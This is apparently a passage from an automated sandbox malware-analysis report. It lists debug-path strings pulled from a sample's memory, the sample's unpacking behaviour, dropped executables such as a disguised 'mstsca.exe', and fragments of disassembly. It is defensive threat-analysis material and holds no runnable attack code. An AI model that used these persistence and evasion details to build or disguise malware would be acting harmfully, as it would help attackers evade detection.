Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*s\M source: rq0mVjR9ar.exe, 00000006.00000003.2512374349.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490185293.0000000003379000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2616051890.000000000337E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2289851599.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576322829.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522756809.000000000337D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603639407.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540384372.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576407922.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2592162401.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590511974.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510630150.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522462565.0000000003373000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2523588433.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490786376.0000000003381000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582817226.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490720179.000000000337D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522824065.0000000003381000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\acrobat_sbx\NGL\od.pdb\\h\ source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\i source: rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3Ne)9 source: rq0mVjR9ar.exe, 00000006.00000003.2522901917.0000000003763000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541667655.0000000003763000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\o source: rq0mVjR9ar.exe, 00000006.00000003.2521372550.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512532428.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490126885.00000000033BF000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489842001.00000000033AC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512261908.00000000033BF000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510402599.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: rq0mVjR9ar.exe, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\cilad\zipidisuyo56\nejinelo su.pdb source: rq0mVjR9ar.exe, 00000000.00000000.2059259395.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000000.00000002.2064620160.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000002.00000000.2062231184.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000005.00000000.2088134440.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2093722259.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2195328080.00000000097E0000.00000004.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000000.2091176113.0000000000411000.00000002.00000001.01000000.00000003.sdmp, rq0mVjR9ar.exe, 00000007.00000000.2104235471.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2111306757.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 00000008.00000000.2108133612.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000C.00000000.2210400947.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2235589545.0000000000411000.00000002.00000001.01000000.00000007.sdmp, rq0mVjR9ar.exe, 0000000E.00000000.2231002019.0000000000411000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\commerce_subscription_db\d.pdb\a\e source: rq0mVjR9ar.exe, 00000006.00000003.2609040229.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\bwe source: rq0mVjR9ar.exe, 00000006.00000003.2442325185.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2294613689.00000000031A5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2289935000.00000000031A5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: rq0mVjR9ar.exe, 00000006.00000003.2190669398.00000000097E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-tokenized-card\fr-CA\_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: rq0mVjR9ar.exe, 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000007.00000002.2113665368.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp, rq0mVjR9ar.exe, 0000000C.00000002.2241405152.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: rq0mVjR9ar.exe, 00000006.00000003.2490094989.0000000003152000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490159295.0000000003158000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441990099.000000000315A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490428718.0000000003159000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\&s source: rq0mVjR9ar.exe, 00000006.00000003.2442544469.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000000.2222553378.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000002.2319042140.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\b( source: rq0mVjR9ar.exe, 00000006.00000003.2490094989.0000000003152000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2290140292.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442544469.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2295644249.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490428718.0000000003156000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003147000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ow\:* source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2522901917.0000000003763000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541667655.0000000003763000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2591676063.0000000003495000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2592162401.000000000337C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2590511974.000000000337C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\*my source: rq0mVjR9ar.exe, 00000006.00000003.2290140292.000000000314A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2295644249.000000000314A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\kc source: rq0mVjR9ar.exe, 00000006.00000003.2576930797.000000000336E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583009050.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490590694.0000000003373000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Wk source: rq0mVjR9ar.exe, 00000006.00000003.2589018735.0000000003156000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2589340401.0000000003168000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\\"s source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Adobe\Acrobat\DC\SOPHIA\.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003793000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603069159.000000000379A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\g source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\d source: rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 0000000A.00000002.2361848440.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 0000000A.00000002.2362276120.0000000020E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\, source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\N source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.0000000003849000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 2.2.rq0mVjR9ar.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 6.2.rq0mVjR9ar.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 8.2.rq0mVjR9ar.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 14.2.rq0mVjR9ar.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 25.2.rq0mVjR9ar.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 27.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 2.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Unpacked PE file: 6.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 8.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 14.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe	Unpacked PE file: 25.2.rq0mVjR9ar.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 27.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe

Code function: 2_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

2_2_00412220

Source: sqln[1].dll.10.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.16.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_004052B5 push ecx; ret	0_2_004052C8
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_044330AF push ecx; retf	0_2_044330B2
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 0_2_05DB8F05 push ecx; ret	0_2_05DB8F18
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_0423C0AF push ecx; retf	5_2_0423C0B2
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 5_2_05E78F05 push ecx; ret	5_2_05E78F18
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D050 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D008 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D028 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D090 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D0A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D318 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C4E0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D550 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_00428565 push ecx; ret	6_2_00428578
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050D698 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C960 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C928 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C988 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050C9A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CB78 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\rq0mVjR9ar.exe	Code function: 6_2_0050CD60 push eax; retn 004Dh	6_2_0050D6B5
